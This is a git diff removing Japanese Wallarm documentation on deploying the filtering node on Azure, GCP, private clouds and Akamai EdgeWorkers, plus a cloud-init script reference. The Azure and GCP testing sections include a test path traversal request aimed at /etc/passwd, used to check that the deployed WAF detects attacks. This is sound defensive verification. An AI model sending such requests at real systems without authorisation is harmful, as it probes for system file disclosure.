{ - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [構成ファイルに指定できるフィルタリングノードディレクティブの一覧→][nginx-waf-directives] -1. Azureでデータボリュームをマウントするのに適したいずれかの方法で構成ファイルを配置します。すべての方法はAzureドキュメントの[**データボリュームのマウント**セクション](https://docs.microsoft.com/en-us/azure/container-instances/container-instances-volume-azure-files)に記載されています。 - - 本手順では、構成ファイルをGitリポジトリからマウントします。 -1. インスタンスをWallarm Cloudに接続するために使用するWallarmノードトークンをローカル環境変数に設定します: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. [`az container create`](https://docs.microsoft.com/en-us/cli/azure/container?view=azure-cli-latest#az_container_create)コマンドを使用して、WallarmノードDockerコンテナーからAzureリソースを作成します: - - === "Wallarm US Cloud向けのコマンド" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:6.4.1 \ - --gitrepo-url \ - --gitrepo-mount-path /etc/nginx/http.d \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} WALLARM_API_HOST='us1.api.wallarm.com' WALLARM_LABELS='group=' - ``` - === "Wallarm EU Cloud向けのコマンド" - ```bash - az container create \ - --resource-group myResourceGroup \ - --name wallarm-node \ - --dns-name-label wallarm \ - --ports 80 \ - --image registry-1.docker.io/wallarm/node:6.4.1 \ - --gitrepo-url \ - --gitrepo-mount-path /etc/nginx/http.d \ - --environment-variables WALLARM_API_TOKEN=${WALLARM_API_TOKEN} WALLARM_LABELS='group=' - ``` - - * `--resource-group`: 2番目の手順で作成したリソースグループ名。 - * `--name`: コンテナー名。 - * `--dns-name-label`: コンテナーのDNS名ラベル。 - * `--ports`: フィルタリングノードが待ち受けるポート。 - * `--image`: WallarmノードDockerイメージ名。 - * `--gitrepo-url`: 構成ファイルを含むGitリポジトリのURL。ファイルがリポジトリのルートにある場合はこのパラメータのみを渡します。ファイルがGitリポジトリ内の別ディレクトリにある場合は、`--gitrepo-dir`パラメータにディレクトリへのパスも渡してください（例:
        `--gitrepo-dir ./dir1`）。 - * `--gitrepo-mount-path`: 構成ファイルをマウントするコンテナー内のディレクトリ。構成ファイルは、NGINXが使用する次のコンテナーディレクトリにマウントできます: - - * `/etc/nginx/conf.d` — 共通設定 - * `/etc/nginx/http.d` — 仮想ホスト設定 - * `/var/www/html` — 静的ファイル - - フィルタリングノードのディレクティブは`/etc/nginx/http.d/default.conf`ファイルに記述します。 - - * `--environment-variables`: フィルタリングノードおよびWallarm Cloud接続の設定を含む環境変数（利用可能な変数は以下の表に記載しています）。`WALLARM_API_TOKEN`の値を明示的に渡すことは推奨しません。 - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [Azure portal](https://portal.azure.com/)を開き、作成したリソースがリソース一覧に表示されていることを確認します。 -1. [フィルタリングノードの動作をテスト](#testing-the-filtering-node-operation)します。 - -## フィルタリングノードの動作テスト {#testing-the-filtering-node-operation} - -1. Azure portalで作成済みリソースを開き、**FQDN**の値をコピーします。 - - ![コンテナーインスタンスの設定][copy-container-ip-azure-img] - - **FQDN**フィールドが空の場合は、コンテナーが**Running**ステータスであることを確認してください。 - -2. コピーしたドメインにテスト用の[Path Traversal][ptrav-attack-docs]攻撃を含むリクエストを送信します: - - ``` - curl http:///etc/passwd - ``` -3. Wallarm Console → **Attacks**を[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で開き、攻撃が一覧に表示されていることを確認します。 - ![UIのAttacks][attacks-in-ui-image] -1. 任意で、ノードの他の動作も[テスト][link-docs-check-operation]します。 - -コンテナーのデプロイ中に発生したエラーの詳細は、Azure portalのリソース詳細の**Containers** → **Logs**タブに表示されます。リソースにアクセスできない場合は、必要なフィルタリングノードのパラメーターが正しい値でコンテナーに渡されていることを確認してください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/cloud-init.md b/docs/latest-ja/installation/cloud-platforms/cloud-init.md deleted file mode 100644 index 84b1497d2d..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/cloud-init.md +++ /dev/null @@ -1,85 +0,0 @@ -# Wallarm cloud-initスクリプトの仕様 - -Infrastructure as Code（IaC）のアプローチに従う場合、パブリッククラウドにWallarmノードをデプロイするために[`cloud-init`](https://cloudinit.readthedocs.io/en/latest/index.html)スクリプトを使用する必要がある場合があります。リリース4.0以降、Wallarmは、本トピックで説明するすぐに使用可能な`cloud-init.py`スクリプトを同梱したクラウドイメージを配布しています。 - -## Wallarm cloud-initスクリプトの概要 - -Wallarmの`cloud-init`スクリプトは[Wallarm AWSクラウドイメージ](https://aws.amazon.com/marketplace/pp/prodview-5rl4dgi4wvbfe)内の`/opt/wallarm/usr/share/wallarm-common/cloud-init.py`パスにあります。このスクリプトは、以下の主な段階を通じて、インスタンスの初期設定および詳細設定の両方を実行します。 - -* Wallarmの`register-node`スクリプトを実行して、Wallarm Cloudで事前に作成したWallarmノードを起動します -* `preset`変数に指定されたプロキシ方式に従ってインスタンスを構成します（[Terraformモジュール](aws/terraform-module/overview.md)を使用してWallarmをデプロイする場合） -* NGINXスニペットに従ってインスタンスを詳細設定します -* Wallarmノードを詳細設定します -* ロードバランサーのヘルスチェックを実行します - -`cloud-init`スクリプトはインスタンスの起動時に一度だけ実行され、インスタンスの再起動では再実行されません。詳細は[スクリプトの概念に関するAWSドキュメント](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html)をご参照ください。 - -## Wallarm cloud-initスクリプトの実行 - -Wallarm cloud-initスクリプトは次の方法で実行できます。 - -* クラウドインスタンスを起動し、そのメタデータに`cloud-init.py`スクリプトの実行内容を記述します -* `cloud-init.py`スクリプトを含むインスタンスのLaunch Templateを作成し、それに基づいてAuto Scaling groupを作成します - -[httpbin.org](https://httpbin.org)向けのプロキシサーバーとしてWallarmノードを実行するためのスクリプト実行例： - -```bash -#!/bin/bash -set -e - -### Wallarmを有効化しないままNGINXが実行されないようにします。 -### すべての処理が完了する前にヘルスチェックを実行することは -### 推奨しません。 -### -systemctl stop nginx.service - -/opt/wallarm/usr/share/wallarm-common/cloud-init.py \ - -t xxxxx-base64-registration-token-from-wallarm-cloud-xxxxx \ - -p proxy \ - -m monitoring \ - --proxy-pass https://httpbin.org - -systemctl restart nginx.service - -echo Wallarm Node successfuly configured! -``` - -IaCのアプローチに沿うため、Wallarmの`cloud-init`スクリプトの使用例として参考になる[AWS向けTerraformモジュール](aws/terraform-module/overview.md)を実装しています。 - -## Wallarm cloud-initスクリプトのヘルプデータ - -```plain -usage: /opt/wallarm/usr/share/wallarm-common/cloud-init.py [-h] -t TOKEN [-H HOST] [--skip-register] [-p {proxy,custom}] - [-m {off,monitoring,safe_blocking,block}] [--proxy-pass PROXY_PASS] - [--libdetection] [--global-snippet GLOBAL_SNIPPET_FILE] - [--http-snippet HTTP_SNIPPET_FILE] [--server-snippet SERVER_SNIPPET_FILE] - [-l LOG_LEVEL] - -Runs the Wallarm node with the specified configuration in the PaaS cluster. https://docs.wallarm.com/installation/cloud-platforms/cloud-init/ - -optional arguments: - -h, --help show this help message and exit - -t TOKEN, --token TOKEN - Wallarm node token copied from the Wallarm Console UI. - -H HOST, --host HOST Wallarm API server specific for the Wallarm Cloud being used: https://docs.wallarm.com/about-wallarm/overview/#cloud. By default, api.wallarm.com. - --skip-register Skips the stage of local running the node created in the Wallarm Cloud (skips the register-node script - execution). This stage is crucial for successful node deployment. - -p {proxy,custom}, --preset {proxy,custom} - Wallarm node preset: "proxy" for the node to operate as a proxy server, "custom" for configuration defined via NGINX snippets only. - -m {off,monitoring,safe_blocking,block}, --mode {off,monitoring,safe_blocking,block} - Traffic filtration mode: https://docs.wallarm.com/admin-en/configure-parameters-en/#wallarm_mode. - --proxy-pass PROXY_PASS - Proxied server protocol and address. Required if "proxy" is specified as a preset. - --libdetection Whether to use the libdetection library during the traffic analysis: https://docs.wallarm.com/about-wallarm/protecting-against-attacks/#library-libdetection. - --global-snippet GLOBAL_SNIPPET_FILE - Custom configuration to be added to the NGINX global configuration. - --http-snippet HTTP_SNIPPET_FILE - Custom configuration to be added to the "http" configuration block of NGINX. - --server-snippet SERVER_SNIPPET_FILE - Custom configuration to be added to the "server" configuration block of NGINX. - -l LOG_LEVEL, --log LOG_LEVEL - Level of verbosity. - -This script covers a few most popular configurations for AWS, GCP, Azure and other PaaS. If you need a more powerful configuration, -you are welcome to review Wallarm node public documentation: https://docs.wallarm.com. -``` \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/gcp/docker-container.md b/docs/latest-ja/installation/cloud-platforms/gcp/docker-container.md deleted file mode 100644 index d6840d0748..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/gcp/docker-container.md +++ /dev/null @@ -1,171 +0,0 @@ -# GCPへのWallarm Dockerイメージのデプロイ - -このクイックガイドでは、[NGINXベースのWallarm nodeのDockerイメージ](https://hub.docker.com/r/wallarm/node)を[Google Compute Engine (GCE)コンポーネント](https://cloud.google.com/compute)を使用してGoogle Cloud Platformへデプロイする手順を説明します。 - -!!! warning "手順の制限事項" - 本手順では、ロードバランシングおよびノードのオートスケーリングの構成は対象外です。これらのコンポーネントを設定する場合は、該当する[GCPのドキュメント](https://cloud.google.com/compute/docs/load-balancing-and-autoscaling)を参照してください。 - -## ユースケース - ---8<-- "../include/waf/installation/cloud-platforms/google-gce-use-cases.md" - -## 要件 - -* 有効なGCPアカウント -* [GCPプロジェクトが作成済み](https://cloud.google.com/resource-manager/docs/creating-managing-projects) -* [Compute Engine API](https://console.cloud.google.com/apis/library/compute.googleapis.com?q=compute%20eng&id=a08439d8-80d6-43f1-af2e-6878251f018d)が有効化済み -* [Google Cloud SDK (gcloud CLI)のインストールおよび設定が完了](https://cloud.google.com/sdk/docs/quickstart) -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス権 -* 以下のIPアドレスへのアクセス。攻撃検知ルールおよび[API仕様][api-policy-enf-docs]の更新をダウンロードし、ならびにお使いの[許可リスト、拒否リスト、またはグレーリスト][graylist-docs]対象の国、地域、またはデータセンターの正確なIPを取得するため - - --8<-- "../include/wallarm-cloud-ips.md" - -## Wallarm nodeのDockerコンテナ構成のオプション - ---8<-- "../include/waf/installation/docker-running-options.md" - -## 環境変数で構成されたWallarm nodeのDockerコンテナをデプロイする - -環境変数のみで構成されたコンテナ化されたWallarmフィルタリングノードをデプロイするには、[GCP Consoleまたはgcloud CLI](https://cloud.google.com/compute/docs/containers/deploying-containers)を使用できます。本手順ではgcloud CLIを使用します。 - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. インスタンスをWallarm Cloudに接続するために使用するWallarm nodeトークンをローカル環境変数に設定します: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. [`gcloud compute instances create-with-container`](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create-with-container)コマンドを使用して、Dockerコンテナを実行した状態でインスタンスを作成します: - - === "Wallarm US Cloud向けのコマンド" - ```bash - gcloud compute instances create-with-container \ - --zone \ - --tags http-server \ - --container-env WALLARM_API_TOKEN=${WALLARM_API_TOKEN} \ - --container-env NGINX_BACKEND= \ - --container-env WALLARM_API_HOST=us1.api.wallarm.com \ - --container-image registry-1.docker.io/wallarm/node:6.4.1 - ``` - === "Wallarm EU Cloud向けのコマンド" - ```bash - gcloud compute instances create-with-container \ - --zone \ - --tags http-server \ - --container-env WALLARM_API_TOKEN=${WALLARM_API_TOKEN} \ - --container-env NGINX_BACKEND= \ - --container-image registry-1.docker.io/wallarm/node:6.4.1 - ``` - - * ``: インスタンス名です。例: `wallarm-node`。 - * `--zone`: インスタンスをホストする[ゾーン](https://cloud.google.com/compute/docs/regions-zones)です。 - * `--tags`: インスタンスタグです。タグは、他のリソースからのインスタンスへの到達性を構成するために使用します。本例では、ポート80を開放する`http-server`タグをインスタンスに割り当てます。 - * `--container-image`: フィルタリングノードのDockerイメージへのリンクです。 - * `--container-env`: フィルタリングノードの構成に用いる環境変数です（利用可能な変数は下記の表に記載しています）。`WALLARM_API_TOKEN`の値を明示的に渡すことは推奨しません。 - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - - * `gcloud compute instances create-with-container`コマンドのすべてのパラメータは[GCPのドキュメント](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create-with-container)に記載されています。 -1. [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances)を開き、インスタンスが一覧に表示されていることを確認します。 -1. [フィルタリングノードの動作をテストします](#testing-the-filtering-node-operation)。 - -## マウントしたファイルで構成したWallarm nodeのDockerコンテナをデプロイする - -環境変数およびマウントしたファイルで構成されたコンテナ化Wallarmフィルタリングノードをデプロイするには、インスタンスを作成し、このインスタンスのファイルシステムにフィルタリングノードの構成ファイルを配置し、このインスタンスでDockerコンテナを実行します。これらの手順は[GCP Consoleまたはgcloud CLI](https://cloud.google.com/compute/docs/containers/deploying-containers)で実行できます。本手順ではgcloud CLIを使用します。 - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [`gcloud compute instances create`](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)コマンドを使用して、Compute Engineレジストリの任意のOSイメージを基にインスタンスを作成します: - - ```bash - gcloud compute instances create \ - --image \ - --zone \ - --tags http-server - ``` - - * ``: インスタンス名です。 - * `--image`: Compute EngineレジストリのOSイメージ名です。作成されるインスタンスはこのイメージを基にし、後でDockerコンテナの実行に使用します。このパラメータを省略すると、インスタンスはDebian 10イメージを基にします。 - * `--zone`: インスタンスをホストする[ゾーン](https://cloud.google.com/compute/docs/regions-zones)です。 - * `--tags`: インスタンスタグです。タグは、他のリソースからのインスタンスへの到達性を構成するために使用します。本例では、ポート80を開放する`http-server`タグをインスタンスに割り当てます。 - * `gcloud compute instances create`コマンドのすべてのパラメータは[GCPのドキュメント](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create)に記載されています。 -1. [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances)を開き、インスタンスが一覧に表示され、**RUNNING**ステータスであることを確認します。 -1. [GCPの手順](https://cloud.google.com/compute/docs/instances/ssh)に従ってSSHでインスタンスに接続します。 -1. 該当するOS向けの[手順](https://docs.docker.com/engine/install/#server)に従って、インスタンスにDockerパッケージをインストールします。 -1. インスタンスをWallarm Cloudに接続するために使用するWallarm nodeトークンをローカル環境変数に設定します: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. インスタンス内で、フィルタリングノードの構成を含むファイル`default`を配置するディレクトリを作成します（例えば、ディレクトリ名は`configs`とできます）。最小設定のファイル例: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [構成ファイルで指定できるフィルタリングノードのディレクティブの一覧 →][nginx-waf-directives] -1. 環境変数とマウントした構成ファイルを指定して、`docker run`コマンドでWallarm nodeのDockerコンテナを実行します: - - === "Wallarm US Cloud向けのコマンド" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v : -p 80:80 wallarm/node:6.4.1 - ``` - === "Wallarm EU Cloud向けのコマンド" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -v : -p 80:80 wallarm/node:6.4.1 - ``` - - * ``: 前の手順で作成した構成ファイルへのパスです。例: `configs`。 - * ``: 構成ファイルをマウントするコンテナ内のディレクトリです。構成ファイルは、NGINXが使用する次のコンテナディレクトリにマウントできます: - - * `/etc/nginx/conf.d` — 共通設定 - * `/etc/nginx/http.d` — 仮想ホスト設定 - * `/var/www/html` — 静的ファイル - - フィルタリングノードのディレクティブは`/etc/nginx/http.d/default.conf`ファイルに記述する必要があります。 - - * `-p`: フィルタリングノードがリッスンするポートです。値はインスタンスのポートと同一にします。 - * `-e`: フィルタリングノードの構成に用いる環境変数です（利用可能な変数は下記の表に記載しています）。`WALLARM_API_TOKEN`の値を明示的に渡すことは推奨しません。 - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [フィルタリングノードの動作をテストします](#testing-the-filtering-node-operation)。 - -## フィルタリングノードの動作テスト - -1. [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances)を開き、**External IP**列からインスタンスのIPアドレスをコピーします。 - - ![コンテナインスタンスの設定][copy-container-ip-gcp-img] - - IPアドレスが空の場合は、インスタンスが**RUNNING**ステータスであることを確認してください。 - -2. コピーしたアドレスにテスト用の[パストラバーサル][ptrav-attack-docs]攻撃リクエストを送信します: - - ``` - curl http:///etc/passwd - ``` -3. [US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)のWallarm Console → **Attacks**を開き、攻撃が一覧に表示されていることを確認します。 - ![UIのAttacks][attacks-in-ui-image] -1. 任意で、ノードの他の動作面も[テスト][link-docs-check-operation]します。 - -コンテナのデプロイ時に発生したエラーの詳細は、インスタンスの**View logs**メニューに表示されます。インスタンスにアクセスできない場合は、必要なフィルタリングノードのパラメータが正しい値でコンテナに渡されていることを確認してください。 \ No newline at end of file diff --git a/docs/latest-ja/installation/cloud-platforms/private-cloud.md b/docs/latest-ja/installation/cloud-platforms/private-cloud.md deleted file mode 100644 index 2d55cf4996..0000000000 --- a/docs/latest-ja/installation/cloud-platforms/private-cloud.md +++ /dev/null @@ -1,47 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# プライベートクラウドにおけるWallarmのデプロイ - -プライベートクラウドは、単一の組織または主体のみを対象として展開され、リソースの専用利用と制御を提供するクラウド環境です。本記事では、プライベートクラウドにWallarmノードをデプロイする際の原則を概説します。 - -## ステップ1：スコープを把握し、Wallarmのデプロイ方法を検討する - -プライベートクラウドにWallarmをデプロイする前に、アプリケーションの全体像（ランドスケープ）のスコープを理解し、最適なWallarmのデプロイ方法を決定することが重要です。評価時には以下の点を考慮してください。 - -* 保護対象スコープの評価：アプリケーションのランドスケープを評価し、保護が必要なクリティカルなアプリケーションを特定します。データの機密性、侵害時の潜在的影響、コンプライアンス要件といった要素を考慮します。この評価により、プライベートクラウド内で最も重要な資産の保護に優先順位を付け、注力すべき対象を明確にできます。 -* [インライン](../inline/overview.md)と[アウトオブバンド（OOB）](../oob/overview.md)の解析：Wallarmをインライン解析としてデプロイするのか、アウトオブバンドのトラフィック解析としてデプロイするのかを決定します。インライン解析では、アプリケーションのトラフィック経路上にWallarmノードを配置します。一方、OOB解析では、ミラーリングされたトラフィックを取り込み、解析します。 -* Wallarmノードの配置：選択したアプローチ（インラインまたはOOB解析）に基づき、プライベートクラウド基盤内でのWallarmノードの適切な配置を決定します。インライン解析の場合は、同一VLANやサブネットなど、アプリケーションに近い場所へ配置することを検討します。OOB解析の場合は、ミラーリングされたトラフィックが解析のために適切にWallarmノードへルーティングされるようにしてください。 - -## ステップ2：Wallarmの外向き接続を許可する - -プライベートクラウドでは、外向き接続に制限が設けられていることがよくあります。Wallarmが正常に機能するようにするには、外向き接続を有効化し、インストール時のパッケージのダウンロード、ローカルノードインスタンスとWallarm Cloud間のネットワーク接続の確立、ならびにWallarm機能の完全な稼働を可能にする必要があります。 - -プライベートクラウドでのアクセスは、一般的にIPアドレスに基づいて許可されます。Wallarmは以下のDNSレコードへのアクセスを必要とします。 - -* セキュリティルールの取得、攻撃データのアップロードなどのためにWallarm Cloudへアクセスするための以下のアドレス - - --8<-- "../include/wallarm-cloud-ips.md" -* WallarmをDockerイメージから実行する場合に必要となるDocker HubのIPアドレス -* [All‑in‑One Installer](../nginx/all-in-one.md)からWallarmをインストールするための`35.244.197.238`（`https://meganode.wallarm.com`）。インストーラーはこのアドレスからダウンロードされます。 -* 攻撃検出ルールや[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[許可リスト、拒否リスト、グレーリスト][ip-lists-docs]に指定した国、地域、またはデータセンターの正確なIPを取得するために必要な以下のIPアドレス - - --8<-- "../include/wallarm-cloud-ips.md" - -## ステップ3：デプロイモデルとWallarmアーティファクトを選択する - -Wallarmは柔軟なデプロイモデルを提供しており、組織はプライベートクラウド環境に最適なオプションを選択できます。一般的なデプロイモデルとして、仮想アプライアンスによるデプロイとKubernetesによるデプロイの2つがあります。 - -### 仮想アプライアンスによるデプロイ - -このモデルでは、プライベートクラウド基盤内にWallarmを仮想アプライアンスとしてデプロイします。仮想アプライアンスはVMまたはコンテナとしてインストールできます。以下のいずれかのアーティファクトを使用してWallarmノードをデプロイできます。 - -* [NGINXベースのDockerイメージ](../../admin-en/installation-docker-en.md) -* [Linux向けAll‑in‑One Installer](../nginx/all-in-one.md) - -### Kubernetesによるデプロイ - -プライベートクラウドでコンテナオーケストレーションにKubernetesを利用している場合、WallarmはKubernetesネイティブなソリューションとしてデプロイできます。Ingressコントローラー、サイドカーコンテナ、カスタムKubernetesリソースなどの機能を活用し、Kubernetesクラスターとシームレスに統合します。以下のいずれかのソリューションでWallarmをデプロイできます。 - -* [NGINXベースのIngressコントローラー](../../admin-en/installation-kubernetes-en.md) -* [サイドカーコントローラー](../kubernetes/sidecar-proxy/deployment.md) \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/akamai-edgeworkers-for-wizard.md b/docs/latest-ja/installation/connectors/akamai-edgeworkers-for-wizard.md deleted file mode 100644 index cea53920e5..0000000000 --- a/docs/latest-ja/installation/connectors/akamai-edgeworkers-for-wizard.md +++ /dev/null @@ -1,107 +0,0 @@ -# Akamai for wizard - -Wallarm Edge nodeをAkamaiに接続すると、[同期](../inline/overview.md)または[非同期](../oob/overview.md)モードで、リクエストをブロックすることなくトラフィックを検査できます。 - -以下の手順に従って接続を設定します。 - -**1. WallarmバンドルからEdgeWorkersを作成する** - -1. お使いのプラットフォーム向けに提供されたコードバンドルをダウンロードします。 -1. Akamai Control Center → **EdgeWorkers** → **Create EdgeWorker ID**に移動し、コードバンドル`wallarm-main`をインポートします。 -1. 別のEdgeWorker IDを作成し、`wallarm-sp`バンドルをインポートします。 - -**2. Wallarm Nodeプロパティを作成する** - -1. Akamai Property Managerで新しいpropertyを作成します： - - * **Property name / hostname**: 専用のNodeホスト名（例：`node.customer.com`）。このホスト名はお客様が管理するDNSゾーンに属している必要があります。 - * **Property type**: `Dynamic Site Accelerator`。 - * **Origin type**: `Web server`。 - * **Origin Hostname**: Wallarm nodeのURL。 -1. propertyのTLSを設定します： - - * **Akamai Managed Certificate**を選択します（Akamaiが`node.customer.com`の証明書を発行して管理します）、または - * 必要に応じて独自の証明書をアップロードします。 -1. propertyを保存します。AkamaiがEdge Hostname（例：`node.customer.com.edgesuite.net`）を生成します。 -1. DNSゾーンで、Nodeホスト名をEdge Hostnameに向けるCNAMEレコードを作成します。例：`node.customer.com → node.customer.com.edgesuite.net`。 -1. [ステージングでpropertyを有効化](https://techdocs.akamai.com/property-mgr/docs/activate-stage)し、動作を確認したら、[本番で有効化](https://techdocs.akamai.com/property-mgr/docs/activate-prod)します。 - -**3. オリジンpropertyの変数を設定する** - -既存のオリジンpropertyを開き、→ **Edit New Version** で以下の変数を設定します： - -* `PMUSER_WALLARM_NODE`: `wallarm-main` EdgeWorker用に作成したproperty名。 -* `PMUSER_WALLARM_HEADER_SECRET`: 任意の秘密文字列（例：`aj8shd82hjd72hs9`）。指定した値は、EdgeWorkerが同じpropertyにリクエストをフォワードするときに、リクエストヘッダー`x-wlrm-checked`として渡されます。これによりループを防ぎ、偽のヘッダーを持つリクエストをブロックします。 -* `PMUSER_WALLARM_ASYNC`: [非同期（out-of-band）](../oob/overview.md)モードを使用する場合、この変数を`true`に設定します。 - -必要に応じて、[他の変数](akamai-edgeworkers.md#4-configure-variables-in-the-origin-property)も変更します。 - -**4. Wallarm EdgeWorkerルールを追加する** - -オリジンpropertyで、新しい空のルールを作成します： - -* Criteria: - - ``` - If - Request Header - x-wlrm-checked - does not exist - ``` -* Behavior: EdgeWorkers → the `wallarm-main` EdgeWorker - -**5. なりすまし防止ルールを追加する** - -オリジンpropertyで、別の新しい空のルールを作成します： - -* Criteria: - - ``` - If - Request Header - x-wlrm-checked - exists - ``` -* Behavior: EdgeWorkers → the `wallarm-sp` EdgeWorker - -**6. propertyを保存して有効化する** - -1. 新しいオリジンpropertyバージョンを保存します。 -1. [ステージング環境で有効化します](https://techdocs.akamai.com/property-mgr/docs/activate-stage)。 -1. 検証後、[本番で有効化](https://techdocs.akamai.com/property-mgr/docs/activate-prod)します。 - -[詳細はこちら](akamai-edgeworkers.md) - - \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/akamai-edgeworkers.md b/docs/latest-ja/installation/connectors/akamai-edgeworkers.md deleted file mode 100644 index ae4b0619b1..0000000000 --- a/docs/latest-ja/installation/connectors/akamai-edgeworkers.md +++ /dev/null @@ -1,193 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Akamai向けWallarmコネクタ - -[Akamai CDN](https://www.akamai.com/solutions/content-delivery-network)のプロパティを通じてAPIを配信しているお客様向けに、Wallarmは専用のEdgeWorkerコードバンドルを提供します。このEdgeWorkerをデプロイすると、リクエストはオリジンに到達する前に検査と保護のためWallarmノードへルーティングされます。この方法により、オリジンのインフラを変更することなく、エッジでAPIトラフィックを直接保護できます。 - -AkamaiのコネクタとしてWallarmを使用するには、Wallarmノードを外部にデプロイし、AkamaiでWallarm提供のコードバンドルを適用して、トラフィックをWallarmノードへ解析のためにルーティングする必要があります。 - -Akamai向けWallarmコネクタは、[同期（インライン）](../inline/overview.md)と[非同期（アウトオブバンド）](../oob/overview.md)の両方のトラフィック解析をサポートします: - -=== "同期トラフィックフロー" - ![!Wallarm EdgeWorkerを用いたAkamaiの同期トラフィックフロー](../../images/waf-installation/gateways/akamai/traffic-flow-sync.png) -=== "非同期トラフィックフロー" - ![!Wallarm EdgeWorkerを用いたAkamaiの非同期トラフィックフロー](../../images/waf-installation/gateways/akamai/traffic-flow-async.png) - -## ユースケース - -このソリューションは、Akamai CDN経由で配信されるAPIの保護に適しています。 - -## 制限事項 - -Akamai向けWallarmコネクタにはいくつかの制限があります: - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -加えて、以下の[EdgeWorkersプラットフォームの制約](https://techdocs.akamai.com/edgeworkers/docs/limitations)がコネクタ設計に影響します: - -* **httpRequestドメイン制限** – EdgeWorkerからのサブリクエストは、すでにAkamaiが配信しているドメイン（すなわち、設定済みのプロパティ）を宛先にする必要があります -* **HTTPSのみのサブリクエスト** – 別のプロトコルが指定されている場合、EdgeWorkersは自動的にHTTPSへ変換します -* **イベントモデルの制限** – リクエストおよびレスポンスのボディは`responseProvider`イベント内でのみアクセス可能です - -これらの制約により、Wallarm EdgeWorkerは同じプロパティへサブリクエストを発行する`responseProvider`関数として実装されています。このサブリクエストにはカスタムヘッダー`x-wlrm-checked`が含まれ、無限ループを防止し、トラフィックをWallarmノードへルーティングできるようにします。 - -## 要件 - -Akamai上にWallarm EdgeWorkerをデプロイするには、以下の要件を満たしてください: - -* Akamaiの各種テクノロジーの理解 -* 契約でAkamai EdgeWorkersが[有効化](https://techdocs.akamai.com/edgeworkers/docs/add-edgeworkers-to-contract)されていること -* オリジンバックエンドの用意 - - * 到達可能なオリジンサーバー上でAPIサービスが稼働していること - * オリジンドメインがCNAMEレコードでAkamaiのプロパティホスト名に解決すること -* 保護対象のオリジンへトラフィックを転送するよう構成されたAkamaiプロパティ - - * プロパティには**Default Rule**に**Origin Server** behaviorを含める必要があります - * プロパティに配信対象ホスト用の有効なTLS証明書が必要です -* DNSゾーン（例: `customer.com`）を管理でき、Wallarmノード用プロパティに割り当てる専用サブドメイン（例: `node.customer.com`）を用意できること - - プロパティの作成後、AkamaiはEdge Hostname（例: `node.customer.com.edgesuite.net`）を返します。DNSに、選択したサブドメインをこのEdge Hostnameへ向ける**CNAMEレコード**を作成する必要があります。 - -## デプロイ - -### 1. Wallarmノードをデプロイ {#1-deploy-a-wallarm-node} - -WallarmノードはWallarmプラットフォームの中核コンポーネントであり、デプロイが必要です。受信トラフィックを検査し、悪意のある活動を検出し、脅威を緩和するように設定できます。 - -Akamaiコネクタの場合、ノードはお客様のインフラ内にのみデプロイできます。 - -セルフホスト型ノードのデプロイに使用するアーティファクトを選択し、各手順に従ってください: - -* LinuxのベアメタルまたはVMインフラ向けの[All-in-oneインストーラー](../native-node/all-in-one.md) -* コンテナ化デプロイを使用する環境向けの[Dockerイメージ](../native-node/docker-image.md) -* Kubernetesを利用するインフラ向けの[Helmチャート](../native-node/helm-chart.md) - -!!! info "必要なNodeバージョン" - AkamaiコネクタはNative Nodeの[バージョン0.16.3+](../../updating-migrating/native-node/node-artifact-versions.md)でのみサポートされます。 - -### 2. Wallarmコードバンドルを取得しEdgeWorkersを作成 {#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers} - -Akamai 